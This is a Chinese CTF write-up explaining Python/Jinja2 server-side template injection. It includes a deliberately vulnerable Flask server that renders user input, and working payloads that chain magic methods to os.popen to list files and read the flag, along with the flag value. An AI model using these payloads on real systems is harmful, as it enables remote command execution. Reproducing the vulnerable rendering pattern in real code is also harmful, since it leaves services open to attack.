攻防世界-web-Web_python_template_injection

题目描述:只有一句话,翻译出来时python模板注入

攻防世界-web-Web_python_template_injection_第1张图片

1. 思路分析

1.1 什么是python模板注入?

做这道题之前我也不知道什么是python模板注入,问了下chatgpt,回答是这样的:

攻防世界-web-Web_python_template_injection_第2张图片

回答很简洁,举个例子,假设有如下服务端代码:

from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route('/')
def index():
    template_input = request.args.get('template')
    return render_template_string(template_input)

if __name__ == '__main__':
    app.run(host='127.0.0.1', port=8888, debug=True)

我们将模板内容传递到服务端,服务端会执行模板内容中的代码,比如我们传入一条{{ 7 * 7}}的模板参数,发现返回值为49,说明什么?说明 7 * 7这条指令已经在服务端执行了

攻防世界-web-Web_python_template_injection_第3张图片

这就是python模板注入的基本原理。

1.2 如何利用python模板注入

原理清楚了,那么如何利用呢?基本利用思路是:利用python对象的继承,用魔术方法一步步找到可利用的方法去执行。

步骤为:

1. 寻找父类

2. 寻找子类

3. 寻找命令执行或者文件操作相关的模块

基本的魔术方法有以下几种:

1. __class__:返回类型所属的对象

 

2. __mro__:    返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。


3. __base__   返回该对象所继承的基类

4. __subclasses__   每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表

攻防世界-web-Web_python_template_injection_第4张图片
5. __init__  类的初始化方法攻防世界-web-Web_python_template_injection_第5张图片
6. __globals__  对包含函数全局变量的字典的引用(这里我本地搭建的环境显示不出来,用题目的环境),通过这个可以找到我们想要的函数模块进行调用

攻防世界-web-Web_python_template_injection_第6张图片

 了解以上知识后,该题目解法就很清晰了,通过以上魔术方法找到os模块和file模块进行命令执行即可

2. 解题过程

1. 找到能够执行文件读取和命令执行的类:{{''.__class__.__mro__[2].__subclasses__()}}。一个是file,一个是site.Printer

攻防世界-web-Web_python_template_injection_第7张图片

2. 利用site.Printer的os模块执行命令:{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}

3. 可以看到当前目录下有个fl4g,执行cat fl4g即可:{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g').read()}}

拿到flag为:ctf{f22b6844-5169-4054-b2a0-d95b9361cb57}

总结:这道题考察的是Python模板注入的知识,比较简单,对模板注入有一些基本的了解就可以了,本题题目是其次,最大的收获是对Python模板注入的知识有了初步的了解

 

 

 

你可能感兴趣的:(python,安全,web安全)